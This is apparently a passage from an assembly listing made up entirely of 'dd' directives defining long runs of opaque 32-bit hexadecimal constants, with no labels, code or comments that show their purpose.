dd 0CF6B034Fh, 5C7AA134h, 0C7544F06h, 0E16FBD5Eh, 9FBA419Eh
dd 5C8232h, 3554EF0Ch, 99536FE3h, 910AD71Dh, 83C10120h
dd 25417D4h, 981FA36Bh, 27C11A1Eh, 0A8258335h, 0D52BF5C6h
dd 0FA5EAED6h, 0B810A27Eh, 0E4109966h, 84278332h, 0E08AB7B2h
dd 0A2BBE41Eh, 4AAEDA8Fh, 3FC46929h, 0A5334AE5h, 5CA840FCh
dd 793A2A98h, 2A651B31h, 59F1993Eh, 6198A720h, 210BD3C7h
dd 0DD986E49h, 0BA13FEB5h, 0E64D0D14h, 0DB24E48h, 719506C3h
dd 0F806D4D1h, 0A8104FE4h, 1137EB93h, 20618D90h, 0B25E972Fh
dd 65D32081h, 0B924AB61h, 0BCEBCA49h, 0D40285D0h, 0FA7C63A1h
dd 76404137h, 0B50AA370h, 0C29F9EF1h, 8836204Ah, 0E4726FD8h
dd 92EBBD28h, 0A3CE8419h, 0A1F54C07h, 0C281931Ah, 2AE3E835h
dd 0A946D2h, 0FA1B4483h, 0AD3362CBh, 0ABB3607Eh, 7EFB3142h
dd 5E6F8E3Ch, 8E1A0A83h, 3AACF790h, 2B52028Bh, 5F9BB520h
dd 0B36D52E2h, 8E83024Bh, 27E9242Fh, 0A1E6FE87h, 39BF1239h
dd 130F8096h, 541C33D2h, 0CF84BDFCh, 1796B3E3h, 73AE82FDh
dd 0BDB78BFAh, 0E3508C18h, 509AF47Bh, 406502D5h, 8492FED9h
dd 54DBB7ABh, 383EB03Dh, 0B2D137ECh, 7103ED8Ch, 3AD1363Dh
dd 18F1FF9Fh, 0E25938B2h, 97614443h, 0E9F185Eh, 0BF6526BAh
dd 0BC59869Eh, 0BDEC4635h, 59DFBB7Bh, 0E1D4440Dh, 8FD51A52h
dd 0B02DDF3Bh, 0CCB6F18Dh, 0AA6BEE3Ch, 531B911Fh, 30AA0635h
dd 810BB157h, 0DE425B45h, 26E7DCF5h, 0EFC455E3h, 963C44FEh
dd 8BA88786h, 0A79B1BDEh, 0C04E8970h, 0EF8EFBC4h, 9C507DE5h
dd 4D5F7B75h, 0A9EE20D8h, 0CA924C34h, 0F9305FC8h, 7AC0B4B7h
dd 88469B0Dh, 39701561h, 787AA155h, 0B462B129h, 0A19123A0h
dd 0B2EB38BBh, 827A14B4h, 0A648A796h, 0ECB39EFDh, 8D260290h
dd 59FD4D9Ch, 57805F8h, 0A5D983A2h, 8FFFC9ADh, 7CA7ED9Eh
dd 0CE4361A7h, 978FF525h, 0FB4C28DCh, 99C05D87h, 8B1748B4h
dd 0BA07078Dh, 2A7B1488h, 1F381ECBh, 0DB4BCFDDh, 92AAD483h
dd 0CB430B98h, 0ED47FB9Eh, 33389885h, 57D1CFB6h, 99527C2Dh
dd 0DB7083EFh, 0E535365h, 0AD20D6C5h, 1FCD238Ah, 0C59E88FFh
dd 7E3A3DCCh, 6818320h, 0FEAE9C69h, 0DF5C5162h, 7D5C8A2h
dd 22FE14C9h, 0C877CC53h, 0C157145Bh, 161D8835h, 0A6F6A03h
dd 0A44DA8FCh, 85164BA0h, 226CAE1Fh, 0E98FF154h, 0BBEF9B3Ch
dd 643AA6BBh, 858641C8h, 0ED089497h, 21A055AFh, 0A2F5DFFEh
dd 0B4E3B96Bh, 3625C69Ch, 78830A21h, 0CE965483h, 623AEAE7h
dd 2DE6CC43h, 4C9BD34Ah, 535BA2B5h, 6F3D4D97h, 0E27C7DD4h
dd 640F1567h, 6A8A1043h, 90053095h, 0B128CF00h, 5A7B9D1h
dd 0C7C39001h, 0C2B6F24Ch, 0F84D270Dh, 0F798FA5h, 16E51A94h
dd 3B34316h, 23F6B937h, 0E28955ADh, 0AE73B4Ch, 0A670C3E2h
dd 87DDC2FFh, 9E473CD3h, 0E78E81E0h, 62BF4A40h, 0C89015B7h
dd 0B51DCEA9h, 9DDB702Ch, 61578BA6h, 181B8E45h, 593D6034h
dd 81922102h, 0BF9C0ECCh, 22882F19h, 7D174FABh, 8601B5F1h
dd 4169D935h, 61BBDD48h, 810A84F4h, 0E13E80BFh, 286FFDA5h
dd 0FC687AA7h, 7F83B608h
dd 0C5B64F98h, 0EBA542E2h, 96911647h, 6B05FB55h, 0BC916239h
dd 8188C4A6h, 0BF25697Ah, 0B8517ECDh, 91869B0h, 24003BC6h
dd 7048CF10h, 0C0566C2Dh, 0D0D93854h, 0F9E95F3Eh, 3ADD3742h
dd 0DC6065F9h, 6C0923D1h, 0B3D2E04Bh, 5AD4AB02h, 8B958D32h
dd 578BEA8h, 79956507h, 5EFB3B5Ah, 615AF403h, 7F94BFA1h
dd 0DA13A04Ch, 9BEA0B29h, 0D6321CB2h, 5FC879DFh, 4CE4D40Dh
dd 1A096B34h, 5A13393Ch, 0D8210AF2h, 6DF6A6B8h, 0E4F82119h
dd 0E6EECF55h, 87846BDh, 8D1FFAAAh, 5E1BC460h, 6C7FC6ADh
dd 0A19BA36Bh, 73D878EFh, 16F3B026h, 55C52008h, 0B98DD191h
dd 0FA8757D6h, 940B4AFh, 1184D46Dh, 0CB98CFFDh, 52D3DBCAh
dd 797B5329h, 59237537h, 32D6DA49h, 380A5B29h, 1A9E95A2h
dd 7601C0F6h, 97FEB8A9h, 0C3464E83h, 36DBC164h, 59AB718Eh
dd 0FB376D2Bh, 0F67AD191h, 5F6A887Ah, 79FF4268h, 0A0C59E81h
dd 474D2E8Eh, 0C1B1DA3Eh, 6AB10DE1h, 0B62B7291h, 0F3955012h
dd 5F9033C0h, 9ECF91C8h, 2CD5E513h, 7837239Fh, 69325183h
dd 0FAF19BF3h, 531E54CFh, 33104AB2h, 0E76EE1C2h, 475986F8h
dd 76058A5Fh, 0B7444CD6h, 82103B0Fh, 0BC17FE0h, 5FAFCA9Fh
dd 0F19BFA0h, 0C1B415A1h, 0ABAAA6B8h, 4CA969E4h, 0AAC6B977h
dd 52A72076h, 746A0257h, 3B215E2Ch, 0BB57C903h, 517F77D0h
dd 510E8993h, 0DC16876Dh, 88F04FE5h, 601700E1h, 0A7B58EEEh
dd 6BCCAAF6h, 36078B59h, 41D5E7DDh, 50A89472h, 3EC8D1B8h
dd 0B393040h, 9EF25326h, 0DB281A08h, 1A166134h, 625FF6DCh
dd 0D3962C1Eh, 78C7BB72h, 0E7894400h, 5CD724FCh, 0BE5ED904h
dd 0FE1D25D3h, 0A6E5D635h, 0D3241D95h, 7860EC34h, 85C9C571h
dd 0CC77BCB7h, 117E720Ch, 37893110h, 0AB4F1570h, 0ED560070h
dd 7CECBFDBh, 7973307Ch, 0F47C3E19h, 0DB235930h, 0D25E05EDh
dd 0B58A9798h, 875BA11Eh, 0C822008Eh, 0D2950520h, 345E6E2Fh
dd 0EE7F3DDCh, 0B1ACC5ECh, 0F40CE605h, 0CAAD8E38h, 645EE40Dh
dd 39F23B3Dh, 891A2E45h, 8B331A5h, 99E97F82h, 10F4A962h
dd 20E775ACh, 0A11C16Dh, 0F14911D9h, 8DC0D3EAh, 39BEA727h
dd 0A09F360Dh, 0ECB3DE8Fh, 707B99ACh, 0A0FF29DEh, 3C6FE256h
dd 0D61D88FFh, 0B958A1B9h, 46992C0Dh, 91F8FBFEh, 68C6872Dh
dd 38EC7143h, 0CF266819h, 0E3293FFBh, 0D3480EF7h, 24FA5306h
dd 1883DE54h, 6E8C920h, 0A75B3767h, 0C0E744B4h, 9168A050h
dd 71B268AAh, 0AC7813B8h, 0FA47269Ch, 9BFEB70Ah, 5EDE88ECh
dd 0FAEDB153h, 511BDEB5h, 37CCCCA8h, 851B0D7Fh, 169C2C68h
dd 411C8D4Fh, 0E7F48C31h, 582A76F5h, 0BCF483EDh, 0EDFE56ECh
dd 5EA31293h, 0AB99F68Ah, 406729F3h, 98F3F9DAh, 2AD4959Ah
dd 7B8E5404h, 0DE360269h, 5E4F0C8Ah, 241717CEh, 0B2B3D62Dh
dd 0FF1F5966h, 215E8706h, 0EDDDED7h, 2A075C9Bh, 9DE09F0h
dd 0D559D23Ch, 0C8776034h, 0C24F79D9h, 298C04DEh, 7AA15CDAh
dd 0E41CDD9Dh, 0A48CA662h, 0BFACE28Fh, 0B0336EE1h, 66831D3Eh
dd 907EF95Fh, 0ADBD2F8Eh, 0A60ADEC1h, 0CCBD8A4Eh, 0AFD31E1Fh
dd 1504B424h, 5486764Bh, 96E36327h, 0C70B411Fh, 92140F9Ah
dd 9AF9145Ch, 8E0B63D6h, 0E66BAE12h, 0D50FE26Dh, 48C2883Bh
dd 0CDDD65Ch, 0EA462A34h, 0C9EDDC3Ah, 0DB79121Ah, 0FDA7ED33h
dd 0D3BD8717h, 26F50C5Ah, 0CD18126Fh, 220C9170h, 0CE80550Ch
dd 0DFBC1564h, 50EDDAB8h, 240E60B8h, 57A9A10Ah, 1A78F3E2h
dd 0E00ADB1Eh, 0B94187CEh, 3EBD3C7Ah, 6267FE4Bh, 90D9BD43h
dd 626C5184h, 42DBB513h, 0B3E80C83h, 4AA9FD0Bh, 2D200E93h
dd 73E1CD8Dh, 5329BA7Ch, 33662E7Fh, 1B326D74h, 789F1DBBh
dd 17A261BDh, 41AB7D65h, 3C0B4E5Bh, 6D676C2Fh, 0D0E214CBh
dd 0CB7E20DDh, 3043B607h, 9B239624h, 0CBBD05AFh, 1EEE9D09h
dd 1E288D89h, 0E4E1C8FFh, 0D991E051h, 0D2D58BD5h, 4BF926B5h
dd 19D114FAh, 3DB310Fh, 7A01756Dh, 0EE51001Dh, 63EFF106h
dd 0FB8499EDh, 0F9F8A735h, 57FC5F5Bh, 0D5A474D4h, 9394261Ah
dd 0BEA60D84h, 458EE918h, 4AA6D9E1h, 670C3746h, 5552C814h
dd 0C5CAEE6Ch, 0E7FD517Fh, 23237FBh, 8F534FFEh, 578F59C7h
dd 7FC283C8h, 32721671h, 0D13C217Ah, 0CD9664F9h, 0F0204CD6h
dd 755AFE5Eh, 9EFEA5E8h, 0D6528F7Eh, 777881B2h, 5D9570A4h
dd 88371B89h, 0F5F614E4h, 3F0C40E1h, 0FB8F776Bh, 7534AA6Ch
dd 0A22FF1FBh, 0D5A9A179h, 62172EAAh, 6B55B47Eh, 200F836h
dd 0E4D0F728h, 765083A7h, 9A8CEA10h, 0FDE1227Bh, 99674C89h
dd 0B42D53E9h, 80C41FD2h, 0A5D7956Ah, 8E8C2F3Dh, 938F5DE3h
dd 6BDC25A0h, 8838CD7h, 48E6DEBh, 883D3392h, 9A4A75D2h
dd 81C22469h, 5CA0A58h, 94F766FAh, 0DB9E2A69h, 0B26310FDh
dd 56356322h, 2A4D07D5h, 49BDFBA9h, 0DE91CDD0h, 85CC77FDh
dd 9AAEEE77h, 8EA0DEAAh, 0F9803DA7h, 0BDE6888Ch, 0A142AB56h
dd 0D94ADC8Fh, 60ABA33Fh, 0E4D74DABh, 0D7F3EC26h, 0D5276987h
dd 62004040h, 0C89FECEEh, 425669B6h, 5E6FDE70h, 55DDF2A2h
dd 799276B8h, 388B75BFh, 0FD97B61Eh, 908CE196h, 43A35D02h
dd 3D99A094h, 0B63C1F03h, 3C55D45Dh, 1D9E5EFBh, 3FE1EF34h
dd 0C0D560E0h, 0E5A0A4C6h, 21A2E382h, 0A84814B2h, 0C766BF44h
dd 47332E3Ah, 7961199Dh, 0A2C84338h, 0E10F021h, 7294E29Eh
dd 93C89B11h, 64781E75h, 8DE22D3Eh, 4651F6D1h, 45654697h
dd 0FC2E8295h, 0EB011467h, 0D5548261h, 2BA58A97h, 7812EDh
dd 6FCD19E1h, 31B75A7h, 10F1C553h, 0BC96A0B4h, 8D0D178Bh
dd 0DF6932C8h, 4FAF5F73h, 0AC8CFD94h, 0DBAD5309h, 6A8F42AAh
dd 865DF23Bh, 64C997B8h, 0B686A587h, 319D6D4Bh, 3398CBEh
dd 0A0612C61h, 49FE7F3Ah, 98B03F3Eh, 0B03C475Dh, 8049C910h
dd 0B37E36C1h, 387BF22Ch, 89DBE712h, 0A4838984h, 0A5D031D8h
dd 0E2BAE8F8h, 0AAB5D052h, 187C322Eh, 4EDE5AC6h, 0F80C10E5h
dd 0A8DA222Ch, 0B045A791h, 0D67F0262h, 0E7B1E230h, 1B37BAC0h
dd 0FDEFC4F0h, 0B8F8A7FBh, 25D43F65h, 0C77A9037h, 360C2732h
dd 745B0148h, 159C4E6Eh, 0CC595C8Dh, 0C177E9FCh, 3CD32493h
dd 58F9BDDEh, 5975157h, 79CAC6DDh, 0D5812C58h, 6ECD0B90h
dd 32F55648h, 69906C6Fh, 0FDF8F9FCh, 0AB1508D1h, 0A6E43EA2h
dd 0CD645AC7h, 0FCE188A1h, 4B7ED40Ah, 8A55C6B0h, 0E243A32Eh
dd 4A3A9504h, 4D2B45D4h, 36BA49CEh, 4D773A1Dh, 9928B82Fh
dd 0E0D5B0Ch, 0EE0C8194h, 0BB8B44FFh, 7189C89Fh, 83DE8993h
dd 0C1D99AD2h, 6860E11h, 4F8671AFh, 0B66B94F9h, 0E235E427h
dd 0B6BFC29Ch, 0F16BE05Fh, 0EF40537Bh, 0AB226C1Bh, 63429263h
dd 135B9674h, 0D1A57F5Fh, 0DA3EF153h, 0E4AEBD1Dh, 0A03C9864h
dd 5EA1624h, 639A233Ah, 91CCEC5h, 1692EEB1h, 0C617AA9Fh
dd 2B2ACD52h, 0FF2DDF57h, 0D444819Ah, 88512ECFh, 0D1978878h
dd 82478F4Bh, 92EDA34Dh, 97E049A8h, 0BBB0A53Bh, 0EFDB6FC6h
dd 0FCA46449h, 2131BD94h, 0E3923458h, 0F31B5105h, 381100E3h
dd 9C2CA825h, 767934FEh, 83066FDCh, 6C884003h, 536678F0h
dd 75AE9CEDh, 299E07FFh, 3D620EFCh, 17D4BE47h, 837B22EFh
dd 98DF5394h, 0DA08FCF7h, 1D7F5EC2h, 2AB72913h, 554367DBh
dd 0AD56165Dh, 0D86B8B1Ah, 0A7D422BDh, 0E4D3D8E3h, 0A3375629h
dd 6995D7B2h, 0F4263E01h, 383D85E9h, 8F876252h, 72F73DB5h
dd 59D7B9C7h, 0D066CE6Ch
dd 0A8F18BC0h, 59A43B96h, 0E351C79Eh, 0BA3B45A3h, 0B30F6E01h
dd 4B60292Bh, 0A97A811Fh, 8C16C693h, 0AD4587A3h, 78041140h
dd 3A4F6D67h, 40896C6h, 0E9034535h, 62A8529Ah, 923E532Ch
dd 333E4CAh, 40514414h, 942FEDA6h, 69BBEBA3h, 55D13643h
dd 28ED2FA5h, 2429E3E1h, 0FAE1D50Eh, 22378721h, 72F0B4DBh
dd 0FC91397Eh, 4E8F41C7h, 76DC8AF5h, 0B0F553C5h, 0F5152E5Ch
dd 0D70D6849h, 8CF4AF24h, 6EBC418Ah, 950F23D4h, 6E1A5920h
dd 409BA753h, 5DBCD0AFh, 48F5512Dh, 1B4422E8h, 4E67D9CFh
dd 0B59B11ADh, 0BDC1C52Ch, 3C6D2CAEh, 7FA66BB3h, 6D028394h
dd 9A7F9580h, 0D51B15ABh, 6BB5CC42h, 0BB22E45Dh, 0ADADCBCAh
dd 8EDDECC5h, 917D8D65h, 1C8B8AAAh, 84D10F59h, 0F7D193Eh
dd 0AB1BC2F7h, 26D26CF7h, 0B95E7958h, 0D3C9D02Eh, 0ECB4A727h
dd 8AAF6C5Fh, 9A6B9922h, 7CC4E901h, 3D78DAD3h, 60AF3FE7h
dd 73D58629h, 67067E77h, 1EE4ED30h, 45DB0316h, 4245F30Eh
dd 0E33746E0h, 4ADBF7DAh, 0C02E9AAAh, 4ED5FA2Ch, 0AD946C8h
dd 0EE37844Dh, 9272A12h, 42D8C2D2h, 0B2EB102Ah, 84A8B30Fh
dd 1331828Ah, 9EE00526h, 0D8940AFAh, 0E0D1741Ah, 0AB28BDC6h
dd 7F302E42h, 4CA4E894h, 3633246h, 0DD331A26h, 5C1BFE2Ah
dd 0A89DA160h, 52E2F84h, 4BBCCDD9h, 6730227Ah, 0BB04CDECh
dd 98A290DEh, 0EC55B70Dh, 0F97445FDh, 0D0278FC4h, 6763FCF0h
dd 47D09036h, 3EA9439Eh, 91187607h, 3A7E78AEh, 6DE2B6Ah
dd 19C6332Fh, 23748F73h, 4E267F11h, 4B53A7DFh, 0E3491DF8h
dd 0B7468679h, 69560CB6h, 0EE215CD4h, 5C5C2839h, 907E0BEBh
dd 3AB5723Dh, 92497F9Ah, 7167F921h, 86C23CCh, 8CD91825h
dd 452DDDD5h, 95D6FB63h, 9E4461BAh, 68A6D050h, 7FF652C5h
dd 3B228FDFh, 0F1E8D56Ch, 1579E3E1h, 2B1165EDh, 0B58B40E0h
dd 7CE88738h, 0FF6EE7E2h, 0B80732C0h, 98052544h, 4904E3BCh
dd 7BDD0AB9h, 61238268h, 0B8012BE0h, 6D91CF84h, 281DEE8Eh
dd 0AE0C6699h, 2C4919D3h, 0AA6BCC1h, 0EAFC7866h, 82AA0869h
dd 0A6C0AC9Eh, 15D84EC8h, 2EE76FB6h, 0F735060h, 5F47A2h
dd 0F2829499h, 0F240BAD5h, 2365B4EEh, 167ABE57h, 91F96FC8h
dd 62363757h, 9E7F1CE3h, 0CBC51A05h, 9D8AABFDh, 2BA439D6h
dd 0A357BA32h, 588F5BA1h, 0F5E14AFEh, 0F10E1F50h, 78CFD26Ah
dd 2D6BA28Fh, 9F354C84h, 8641FC50h, 0C72E78Ah, 0E3DD1559h
dd 726FBA8Dh, 0EF1CD7F8h, 903A2CE5h, 0E200DB59h, 473984A5h
dd 2798774Fh, 0A47BE1DDh, 0A0A166C1h, 0E1C9DF10h, 89A5C7E2h
dd 68B03E61h, 177DBABDh, 5BA6A779h, 8DB636C8h, 6FE3D2B8h
dd 0C89A8D93h, 9A6B4857h, 0E9FDD62Dh, 2AAF66C1h, 0FAE9A22Fh
dd 96AF583Fh, 0B8EF0C48h, 22308E14h, 6F471966h, 0E0AC2C76h
dd 69B3B2C2h, 2B2BFA8h, 913DC950h, 8FCAEE50h, 5EDCFBECh
dd 5544C965h, 0E8736B08h, 832E8E0Ch, 0C64026BFh, 7146B097h
dd 1090EA10h, 0D066DDB5h, 82FEFD35h, 6B883D9Dh, 0BC74734Bh
dd 0EC3D26F7h, 67E52D77h, 9B0E10Ch, 0F2AE88EFh, 0FEB9C28Eh
dd 9A5ADDD6h, 56F98955h, 360F3746h, 3F23C2A0h, 835BE9D9h
dd 0D9873980h, 26B9E053h, 276A70CAh, 6E0754D9h, 0EB196229h
dd 1FFC79BDh, 0B835D24Dh, 0F1939EBDh, 2C7FF789h, 0ECA32CB1h
dd 0B94B4182h, 7648634Dh, 0D4441CDCh, 0D5F4A139h, 0A81A724Bh
dd 24D193A4h, 7914218Ah, 6DC22655h, 1C439C33h, 0D0BAE22Dh
dd 0CDF51F9Ch, 0DFEFF0CAh, 0FC9037F7h, 1B83308Bh, 0E187D12Dh
dd 289D7F3Dh, 699B9F8Dh, 2CFD16B5h, 723BD88Ch, 646C76F7h
dd 0DDEF6413h, 0DA78507Ah, 621C5537h, 6307F25Eh, 0CE883B22h
dd 0E9C8F390h, 0C9C2CA65h, 0E23947C7h, 2586443Eh, 29484487h
dd 21A571CEh, 1D71C323h, 705D20D9h, 7E601E72h, 0AAC63FEAh
dd 14D4EF1Eh, 734BF742h, 9F5B194Fh, 0E9B84C87h, 5C40090Ah
dd 73490ADEh, 4A554A3h, 0BDD9ACC4h, 7A018C87h, 5F7430FAh
dd 0B5F7EAA1h, 0B3A9F577h, 0E58FD43Ch, 330151B8h, 40941B5Eh
dd 1C6701E8h, 803EFA22h, 3FAD9314h, 724EE00h, 89C3A4A2h
dd 2E19D501h, 0FFD86161h, 2FD52DBBh, 4C89AB1Eh, 610071E9h
dd 57AFEC4Ah, 4038012Bh, 0AA3CD27h, 558B88A8h, 0A203B136h
dd 7DDFF023h, 0D993920Eh, 0EEC8A5A7h, 3AFE2DA3h, 0FA52E242h
dd 0E75D6428h, 75F983EBh, 0E7557DDh, 8F2BE68Dh, 0CE4FB5D3h
dd 890F7E65h, 0F40D1BA7h, 0ABB07F7Ch, 0C93B6157h, 21664CF0h
dd 43A15960h, 42621BB2h, 45CCF843h, 6D746DDAh, 8F55C9A4h
dd 3B816F78h, 28ABE05Fh, 7B1B8793h, 10E02D54h, 0D22C6597h
dd 80A01414h, 0F012E635h, 0C3BA2638h, 87E4659Eh, 0AE2EE51Eh
dd 0C5D31179h, 0DABD6DBCh, 442A5E77h, 0D9BF7AE3h, 31D58257h
dd 3B7F45D9h, 601972B7h, 94EA48B7h, 7A0785FBh, 59ABE822h
dd 573D4012h, 0DCD263AFh, 779A11FFh, 0D7422BAEh, 16B1B1C2h
dd 93C8A023h, 9C73B1Eh, 0DF870386h, 4881561h, 7ECF97C5h
dd 0FCDCDA3Fh, 8B0A4A6Ch, 0A4AAA7B7h, 67C9A4D8h, 0C420A014h
dd 0C2DF312h, 3B833CEh, 1F205479h, 68A4DB9Eh, 2CF85E87h
dd 0D79B5D7Bh, 0C7CCD4A2h, 8A8E1028h, 24428CF7h, 30537153h
dd 672DDB51h, 75963963h, 3F26722Bh, 1D9AE6AEh, 78CC227Bh
dd 0AA0D09FDh, 3D92FBCFh, 0F227C1AEh, 44205FFh, 6C0FA4CCh
dd 55A1648Ah, 0C451E2B9h, 0D0F54C23h, 0A4D9C8EEh, 0CC832936h
dd 3CEF80A6h, 0D844A1BEh, 402947ECh, 2353C528h, 62BF91B7h
dd 3DC986CFh, 0A33F7D12h, 835F4E0Ch, 0DA7C752Eh, 58FAEE08h
dd 0DAF14D97h, 0D78512A7h, 6FF939E6h, 0B39F9E20h, 0CBDBA737h
dd 380B8936h, 4A814ABDh, 33486E7h, 0A6D82253h, 0F77AA3E8h
dd 9D10A678h, 0EC1DC599h, 92C5EE4Bh, 4EE3F6D2h, 95AB44EAh
dd 0D03AA216h, 0E201B739h, 10C0F04h, 0C625301Ah, 5DE8463Bh
dd 84D3D139h, 47B5F2Ch, 673AC688h, 0DF387489h, 2EADF52Ch
dd 0D6409878h, 0F715FA3Eh, 0FFAB351Eh, 289B7DCDh, 482D01F5h
dd 0BBC7A276h, 5A68914Eh, 1583C80Ah, 157D258Dh, 953EC4B9h
dd 37588833h, 8A66504h, 31338F9Dh, 0B69EB36Bh, 981D7A20h
dd 0F07AD535h, 0C23BF165h, 7B2C974Dh, 0D1AC14B9h, 0D5233E84h
dd 0F743EC5Bh, 0E1F0214h, 98BFFEE7h, 0DE644E8Fh, 0F65C748Ch
dd 1EF7DAFAh, 7765935Eh, 1775C40Ah, 3FCF12F8h, 50F6A186h
dd 3477E03Ah, 0B0A04C4Ch, 979AEBFDh, 1905C4BDh, 0DC3C5ACFh
dd 0DFCC76D6h, 0B4731083h, 0F333CF34h, 0EDE0E6DAh, 13254C2Bh
dd 0EDCA3783h, 0F98FC98Eh, 21B5F1A4h, 402F1ECFh, 440164BAh
dd 0CBFBABA4h, 9CDF7BC3h, 38E6B1BFh, 0B8ED762Eh, 65C5838h
dd 9FDC0ED1h, 5304C165h, 0BA7C68DDh, 1E261D3h, 66088D4Ch
dd 0B91D6327h, 0C22335BAh, 8447D436h, 691BB09Eh, 8965A108h
dd 0CE5AA9A4h, 8A1AB649h, 2FC2CBDFh, 0B11A9FFh, 557C7D9Bh
dd 0F14752B1h, 6AB16330h, 293017D2h, 892CEDB4h, 0F1F4EA68h
dd 0A2AAAC01h, 0EF6260EBh, 76F4C963h, 33A3C1D0h, 3B0433B0h
dd 4E11B315h, 9E06C146h, 0BD07D1CAh, 9E93DBF7h, 0DC852C9Fh
dd 80E51FF9h, 0E719AAE2h, 0DD8D883Bh, 2CE148C1h, 9FACD392h
dd 2162A72Fh, 2B3A945Dh, 5E5285D0h, 303C62ACh, 9B1F455Dh
dd 0D8699531h, 659C4FC6h, 0E01F7499h, 0EE7AA369h, 0C130C727h
dd 6AF2CEA0h, 1B7D6992h, 4435913Ah, 2E7F5B0Bh, 8A7EA44Eh
dd 5833AADAh, 5505BB59h
dd 6659C0C8h, 0E14E6394h, 313B3DF7h, 0BED43D0Ch, 725EED3Ah
dd 50A62D92h, 77E516F7h, 0B6DD5F38h, 0B6E2D444h, 0C6CCCC84h
dd 8E88CA70h, 0ED8E5226h, 74118D75h, 0FFE15FE1h, 1C04D5C4h
dd 0A01C20C3h, 0C063EB0Bh, 0C2A4809Ch, 0CF122ABEh, 102E690Ah
dd 0ACBFECE2h, 0EF3447AFh, 23FA09A1h, 5775700h, 12D0BA3Ah
dd 78FE6075h, 28643DBAh, 0C5092DC1h, 0E2D0EB59h, 9C57C2D6h
dd 105CF271h, 0D4815C66h, 37768C48h, 0ED87D603h, 698DE083h
dd 813578D5h, 4E1E48BCh, 3A56F5FEh, 0F89ECCB1h, 48F38110h
dd 519887FAh, 25C7B2B3h, 8BC94841h, 2F4DF847h, 726758BEh
dd 718E5EDCh, 0F8DF293h, 0CBE5BB9Dh, 43A97F1Ch, 0A0ACBB10h
dd 0B2F1A1A4h, 12E68B54h, 0D62BCD86h, 0DD90890Bh, 3EA53A56h
dd 0BB3DCDD4h, 87B56BD5h, 268F34B0h, 0D3DC88AEh, 87BCB2B5h
dd 0E1DA2E82h, 22D727EDh, 0A07269E2h, 0C448BCE8h, 11F1176Dh
dd 0CAA3E0B4h, 0F94C7FA7h, 0D2252D4Ch, 0C2B6EAE2h, 50130F5h
dd 7770A13Eh, 0E9BE34CFh, 0BA40C088h, 0AAF875A2h, 0FB005FFDh
dd 82370332h, 89264169h, 59A99ABEh, 0A7C640C9h, 142D9567h
dd 723AF828h, 0FA874F1Ch, 2062E327h, 1452DBCAh, 8AF20720h
dd 193B15FBh, 0DE94C0D1h, 0A6817427h, 70DBAD23h, 86D70FF8h
dd 0D17AACC1h, 2C0ABB1Fh, 3547A090h, 820E06F9h, 0F4F2767Eh
dd 8C8C2220h, 5BDB0872h, 45BAA09Ch, 92C50BF5h, 2AFADA5Dh
dd 41263ECFh, 53B91D83h, 0A142F358h, 0C20075EBh, 0F40AEC93h
dd 57F91C61h, 3B0AC44Ah, 967B9B5Bh, 0ACC9E5D4h, 251255Ah
dd 19A14EAFh, 0CC17CFE3h, 0DB7E9CD3h, 0CC48F50Dh, 4EC9A26h
dd 94EC39DAh, 81CF3344h, 0A120738Bh, 0B336BF62h, 3C72C3C5h
dd 1C48AA0Dh, 0EB50F40Fh, 5EF64D46h, 0B54A45F6h, 0B95D08BDh
dd 6F238FE0h, 3301B3E3h, 466B1776h, 100128BCh, 5C3070F9h
dd 3674E9CBh, 1AD2CBF2h, 0C456B6F6h, 7F85CED8h, 0FB410A52h
dd 0F6C0199Dh, 0BA006ADBh, 674C6077h, 49DCF016h, 8C4774Bh
dd 8BD5EF4Ah, 3DB4B3BDh, 0B4E338EFh, 0A75B870Eh, 0F299F166h
dd 0F009DA6Dh, 94B36753h, 157F0981h, 74DD7F69h, 0F4A1A5B4h
dd 0C7FBC66Dh, 0D12EB001h, 6DE3DC52h, 10B00761h, 0F6CD715Bh
dd 6BB3F75Bh, 80013208h, 0A6430C31h, 2EB92FD0h, 16709BF1h
dd 0C976D398h, 189D1E61h, 7B69089Bh, 0B16BDE5Fh, 0EC4121EDh
dd 0A6F141BCh, 0F3504024h, 7C92424Dh, 0DEE73C65h, 0A5EA8B9h
dd 492A5836h, 0F6653092h, 70E3B9FEh, 971C04C3h, 98D760A1h
dd 0E23F9198h, 8C23C2D9h, 683E1C13h, 0FC41A04Ah, 0C4C44BDFh
dd 60192BCBh, 59D08DD8h, 0EDFF1677h, 0F6FCB79Fh, 7C1C1D61h
dd 0C1CBB203h, 0EA6B4C46h, 284147BEh, 2DFE6654h, 0B5D017A9h
dd 0B435D312h, 0BE9F0459h, 96C4B1E1h, 0E4D9856Ah, 0EFCCD034h
dd 7695A67Ah, 12A9B27Bh, 384DD70Bh, 0EC21969Ah, 110BF25Bh
dd 0A3766F08h, 717377BCh, 0DE99C07Eh, 64708F58h, 3A327C93h
dd 63A23802h, 9583F2CBh, 945C4CAAh, 0B63251D7h, 0FBB51048h
dd 0D103EC5Dh, 0F3E2074Ah, 0E2BDA0F6h, 0B7E0BAA0h, 21E60C3Ah
dd 3103444Ah, 1E8FEB90h, 0E08434B1h, 0FE559EEFh, 0A7D5070Ah
dd 0C6608BD8h, 0DC872845h, 9466C25h, 980E916Bh, 4F49298Ch
dd 2CB2E1EAh, 8B2485BFh, 6FC1ED75h, 63E0D524h, 0E6CBD95Dh
dd 0F85A96E2h, 9F1DCA38h, 0E4C6AC67h, 0F748D092h, 650F81Ah
dd 32A7CBB0h, 33FDCBA7h, 0B4AE24CAh, 0DF2053E7h, 541DA944h
dd 6FC4AE61h, 0AF305453h, 0E6F4F967h, 827AE0D2h, 0CD1C5433h
dd 1A8B4BCDh, 399FDF24h, 0ABCF734Eh, 8BBFCB07h, 4848F5A1h
dd 0BA90D1CCh, 0E8BE3934h, 0BDE8743Eh, 0D0C3A387h, 0F45F34CAh
dd 102CDE62h, 88F39340h, 8A9B1399h, 0AA8B2C3Ch, 0B716DFF8h
dd 0E9115380h, 0D5A52F59h, 0E6943966h, 992DBC90h, 7A0797BDh
dd 0BACD589Ch, 0D0485972h, 8644CEAEh, 10D7CDF9h, 59A50EC0h
dd 0E3F62CC5h, 0B8110DE3h, 279EF3BCh, 4E77C364h, 86F23750h
dd 0D02614E8h, 0C3579355h, 9396FD51h, 40EF5620h, 56610158h
dd 0BC8141A2h, 0FAA74ACCh, 374E8885h, 0C7C15D36h, 5798330Bh
dd 0FC9CCF3Ah, 4F93A7A0h, 469682F4h, 3911A5h, 4A27B28Fh
dd 1B59677Ah, 40BA2F3Ah, 642925C4h, 0F9CF45F2h, 1F29C9Fh
dd 7A64AEA8h, 0D4AFFF94h, 2EDFD3CDh, 0AEE6A9E6h, 6C0AA4A9h
